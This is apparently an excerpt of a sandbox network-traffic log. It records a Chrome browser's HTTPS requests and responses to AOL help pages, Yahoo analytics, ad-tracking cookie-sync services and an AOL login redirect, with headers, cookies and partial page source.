2024-05-23 22:35:19 UTC	1682	OUT	GET /offers/aolHelp/searchresults?cobrand=usaol HTTP/1.1 Host: membernotifications.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; __gads=ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ; __gpi=UID=00000e2999aacdfe:T=1716503704:RT=1716503704:S=ALNI_MY9O14HHs8YKl5kfvcdXBhk0EwHkQ; __eoi=ID=a6ae538b18abc9da:T=1716503704:RT=1716503704:S=AA-AfjYto1E7XPavVNBFXiwWpyxq; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:19 UTC	1047	IN	HTTP/1.1 200 Strict-transport-security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade content-security-policy: frame-ancestors https://help.aol.com Cache-control: no-cache, no-store, private, max-age=0 Content-Type: text/html;charset=UTF-8 Content-Length: 4454 Date: Thu, 23 May 2024 22:35:18 GMT Age: 1 Connection: close Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:19 GMT; Max-Age=0; Domain=membernotifications.aol.com; Path=; Secure; HttpOnly Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:19 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:19 GMT; Max-Age=0; Domain=membernotifications.aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:19 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly
2024-05-23 22:35:19 UTC	1300	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 74 69 74 6c 65 3e 4f 66 66 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 73 73 2f 61 6e 61 6c 79 74 69 63 73 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Offer</title><script src="https://s.yimg.com/ss/analytics3.js"></script><style>body {margin: 0;overflow: hi
2024-05-23 22:35:19 UTC	1300	IN	Data Raw: 73 27 20 7d 2c 20 27 2a 27 29 3b 20 72 65 74 75 72 6e 20 74 72 75 65 3b 22 0a 09 09 09 20 20 20 09 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 73 2f 74 65 63 68 2d 73 75 70 70 6f 72 74 2f 61 73 73 69 73 74 3f 6e 63 69 64 3d 6d 62 72 5f 61 64 76 61 63 71 61 64 30 30 30 30 30 30 37 32 22 0a 09 09 09 09 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 20 3c 69 6d 67 0a 09 09 09 09 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 61 2f 61 6f 6c 2f 61 6f 6c 48 65 6c 70 2f 61 6f 6c 5f 61 73 73 69 73 74 2f 61 6f 6c 5f 61 73 73 69 73 74 5f 33 30 30 78 36 30 30 2d 6c 63 61 2d 34 32 37 34 2d 32 78 2e 6a 70 67 22 0a 09 09 09 09 61 6c 74 3d 22 43 54 41 2d 62 75 74 74 6f 6e 22 3e 0a 09 09 Data Ascii: s' }, '*'); return true;" href="https://www.aol.com/products/tech-support/assist?ncid=mbr_advacqad00000072"target="_blank"> <imgsrc="https://s.yimg.com/aa/aol/aolHelp/aol_assist/aol_assist_300x600-lca-4274-2x.jpg"alt="CTA-button">
2024-05-23 22:35:19 UTC	1300	IN	Data Raw: 79 70 65 3a 20 27 72 65 73 69 7a 65 27 2c 20 63 6f 6e 74 65 78 74 4e 61 6d 65 3a 20 27 73 65 61 72 63 68 72 65 73 75 6c 74 73 27 2c 20 70 61 79 6c 6f 61 64 3a 20 7b 20 68 65 69 67 68 74 3a 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 20 7d 20 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 6d 79 52 61 70 69 64 49 6e 73 74 61 6e 63 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 79 52 61 70 69 64 49 6e 73 74 61 6e 63 65 2e 72 65 65 76 61 6c 75 61 74 65 4d 6f 64 75 6c 65 73 56 69 65 77 61 62 69 6c 69 74 79 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 20 35 30 30 29 3b 0a 20 20 20 20 20 20 20 20 7d Data Ascii: ype: 'resize', contextName: 'searchresults', payload: { height: document.body.scrollHeight } }, '*'); if (myRapidInstance) { setTimeout(function() { myRapidInstance.reevaluateModulesViewability(); }, 500); }
2024-05-23 22:35:19 UTC	554	IN	Data Raw: 75 70 4d 65 73 73 61 67 69 6e 67 28 29 3b 0a 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 20 74 79 70 65 3a 20 27 6c 6f 61 64 27 2c 20 63 6f 6e 74 65 78 74 4e 61 6d 65 3a 20 27 73 65 61 72 63 68 72 65 73 75 6c 74 73 27 2c 20 70 61 79 6c 6f 61 64 3a 20 7b 20 73 74 61 74 75 73 3a 20 27 32 30 30 27 2c 20 6d 65 73 73 61 67 65 3a 20 27 6c 6f 61 64 65 64 27 2c 20 68 65 69 67 68 74 3a 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 20 7d 20 7d 2c 20 27 2a 27 29 3b 0a 0a 20 20 20 20 20 20 76 61 72 20 6d 65 74 68 6f 64 4e 61 6d 65 20 3d 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 20 3f 20 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 20 3a Data Ascii: upMessaging(); window.parent.postMessage({ type: 'load', contextName: 'searchresults', payload: { status: '200', message: 'loaded', height: document.body.scrollHeight } }, '*'); var methodName = window.addEventListener ? "addEventListener" :

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.6	50660	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	1841	OUT	POST /p?s=1197803361&t=lo3Xhf3ovGFTjvft,0.005353010784042489&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03window.focus%04A_prets%031716503711%04A_prems%03523%04_E%03dwell%04_ts%031716503711%04_ms%03526%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:19 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:19 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:19 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.6	50682	141.94.171.212	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	1066	OUT	GET /?partner=282&icm&cver&gdpr=0&smartmap=1&redirect=stags.bluekai.com%2Fsite%2F52799%3Fid%3D%25m%26redir%3Dhttps%253A%252F%252Fimage2.pubmatic.com%252FAdServer%252FPug%253Fvcode%253Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%2526piggybackCookie%253DHHt10NrrgWMXUjRbaYMbgSVY%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: pixel-eu.onaudience.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookie=a4f26c9103f1a853; done_redirects236=1; done_redirects282=1
2024-05-23 22:35:19 UTC	459	IN	HTTP/1.1 302 Found set-cookie: cookie=a4f26c9103f1a853; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:19 GMT; Path=/; Domain=.onaudience.com; Secure; SameSite=None location: https://stags.bluekai.com/site/52799?id=c3d1cbfedaa27150&redir=https%3A%2F%2Fimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%26piggybackCookie%3DHHt10NrrgWMXUjRbaYMbgSVY%26gdpr%3D0%26gdpr_consent%3D content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.6	50680	141.94.171.212	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	975	OUT	GET /?partner=270&smartmap=1&gdpr=0&gdpr_consent=&redirect=image2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%26piggybackCookie%3D%25_rid%26gdpr%3D0%26gdpr_consent%3D%25_gdpr_consent HTTP/1.1 Host: pixel-eu.onaudience.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookie=a4f26c9103f1a853; done_redirects236=1; done_redirects282=1
2024-05-23 22:35:19 UTC	790	IN	HTTP/1.1 302 Found set-cookie: cookie=a4f26c9103f1a853; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:19 GMT; Path=/; Domain=.onaudience.com; Secure; SameSite=None set-cookie: done_redirects104=1; Max-Age=86400; Expires=Fri, 24 May 2024 22:35:19 GMT; Path=/; Domain=.onaudience.com; Secure; SameSite=None location: https://sync.crwdcntrl.net/map/c=8587/tp=CLOD/tpid=a4f26c9103f1a853/gdpr=0/gdpr_consent=?https%3A%2F%2Fpixel-eu.onaudience.com%2F%3Fpartner%3D104%26icm%26cver%26mapped%3D%24%7Bprofile_id%7D%26gdpr%3D%24%7Bgdpr%7D%26redirect%3Dhttps%253A%252F%252Fimage2.pubmatic.com%252FAdServer%252FPug%253Fvcode%253Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%2526piggybackCookie%253DHHt10NrrgWMXUjRbaYMbgSVY%2526gdpr%253D0%2526gdpr_consent%253D content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.6	50683	54.194.31.123	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	755	OUT	GET /ibs:dpid=30646?dpuuid=y-pCeRw1ZE2pGRGUFZktML7yIoG3E94dDpmpM-~A&redir=https%3A%2F%2Fups.analytics.yahoo.com%2Fups%2F58782%2Fcms%3Fpartner_id%3DADOBE%26_origin%3Dfalse%26_redirect%3Dfalse%26_hosted_id%3D%24%7BDD_UUID%7D HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:19 UTC	738	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:19 GMT Content-Length: 0 Connection: close X-TID: IZjls8zgS3Q= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Location: https://dpm.demdex.net/demconf.jpg?et:ibs%7cdata:dpid=30646 DCS: dcs-prod-irl1-2-v061-0dbfcd180.edge-irl1.demdex.com 0 ms set-cookie: demdex=67429324607681531412551090244634299757; Max-Age=15552000; Expires=Tue, 19 Nov 2024 22:35:19 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.6	50679	212.82.100.140	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	2293	OUT	GET /oauth2/request_auth?client_id=dj0yJmk9eTFxY1BPS0tNRFNmJmQ9WVdrOVJFVm1aVlpyTkdjbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OQ--&redirect_uri=https%3A%2F%2Foidc.help.aol.com%2Fcallback&response_type=code&scope=openid+openid2+sdps-r&src=help&language=en-US&state=eyJhbGciOiJSUzI1NiIsImtpZCI6IjZmZjk0Y2RhZDExZTdjM2FjMDhkYzllYzNjNDQ4NDRiODdlMzY0ZjcifQ.eyJyZWRpcmVjdFVyaSI6Imh0dHBzOi8vaGVscC5hb2wuY29tL19uc18vbnN0ZXN0Lmh0bWw_b2lkYy1yZXR1cm4ifQ.u1KMiDZhjiN8fAMUGEk_uuVhHtzdy5lzmK13nu-xBVzK5Qxndf3lkivxoFcvFhkPVQjZsGVnxzWuwxWNxbYOQnq9z7cnGKi6OCA9j8qVlX9AeXs8dO7s6WuivW-oKGbknRYasL0cfSE2YMULTjuFJJSNrzOau-NtMbEHRE9724c&nonce=dgcyvcwbcTlTDkYCWJiBlFuoPJKNXc9b HTTP/1.1 Host: api.login.aol.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; __gads=ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ; __gpi=UID=00000e2999aacdfe:T=1716503704:RT=1716503704:S=ALNI_MY9O14HHs8YKl5kfvcdXBhk0EwHkQ; __eoi=ID=a6ae538b18abc9da:T=1716503704:RT=1716503704:S=AA-AfjYto1E7XPavVNBFXiwWpyxq; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; AS=v=1&s=b8UBrRe6
2024-05-23 22:35:19 UTC	1448	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:19 GMT Cache-Control: no-store Cache-Control: no-cache Cache-Control: must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15552000 Referrer-Policy: strict-origin-when-cross-origin Location: https://login.aol.com?src=help&client_id=dj0yJmk9eTFxY1BPS0tNRFNmJmQ9WVdrOVJFVm1aVlpyTkdjbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OQ--&crumb=0x4O9bT0Y1R&lang=en-US&redirect_uri=https%3A%2F%2Foidc.help.aol.com%2Fcallback&done=https%3A%2F%2Fapi.login.aol.com%2Foauth2%2Fauthorize%3Fclient_id%3Ddj0yJmk9eTFxY1BPS0tNRFNmJmQ9WVdrOVJFVm1aVlpyTkdjbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OQ--%26language%3Den-US%26nonce%3DdgcyvcwbcTlTDkYCWJiBlFuoPJKNXc9b%26redirect_uri%3Dhttps%253A%252F%252Foidc.help.aol.com%252Fcallback%26response_type%3Dcode%26scope%3Dopenid%2Bopenid2%2Bsdps-r%26src%3Dhelp%26state%3DeyJhbGciOiJSUzI1NiIsImtpZCI6IjZmZjk0Y2RhZDExZTdjM2FjMDhkYzllYzNjNDQ4NDRiODdlMzY0ZjcifQ.eyJyZWRpcmVjdFVyaSI6Imh0dHBzOi8vaGVscC5hb2wuY29tL19uc18vbnN0ZXN0Lmh0bWw_b2lkYy1yZXR1cm4ifQ.u1KMiDZhjiN8fAMUGEk_uuVhHtzdy5lzmK13nu-xBVzK5Qxndf3lkivxoFcvFhkPVQjZsGVnxzWuwxWNxbYOQnq9z7cnGKi6OCA9j8qVlX9AeXs8dO7s6WuivW-oKGbknRYasL0cfSE2YMULTjuFJJSNrzOau-NtMbEHRE9724c Content-Length: 0 Server: ATS Age: 0 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.6	50681	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	869	OUT	GET /usersync/tradedesk/8369ae03-bf51-422b-a15c-33306b0e1dfe HTTP/1.1 Host: sync.1rx.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%2C%22zdxidn%22%3A%221508%22%2C%22nxtrdr%22%3Afalse%7D
2024-05-23 22:35:20 UTC	784	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:19 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%2C%22nxtrdr%22%3Afalse%7D; path=/; expires=Fri, 23 May 2025 22:35:19 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.targeting.unrulymedia.com/csync/RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003?redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA%3D%26piggybackCookie%3DRX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003 connection: close
2024-05-23 22:35:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.6	50685	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	589	OUT	OPTIONS /playback/v1/accounts/6415665815001/videos/6353511962112 HTTP/1.1 Host: edge-auth.api.brightcove.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: authorization Origin: https://s.yimg.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:19 UTC	412	IN	HTTP/1.1 200 OK Connection: close Content-Length: 66 Retry-After: 0 Content-Type: application/json Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:19 GMT X-Served-By: cache-nyc-kteb1890043-NYC X-Cache: HIT X-Cache-Hits: 0 Bcov-Request-Id: epa-fd7bae0c8f0b, epa-fd7bae0c8f0b-d Cache-Control: no-store, must-revalidate Access-Control-Allow-Headers: Authorization,* Access-Control-Allow-Origin: *
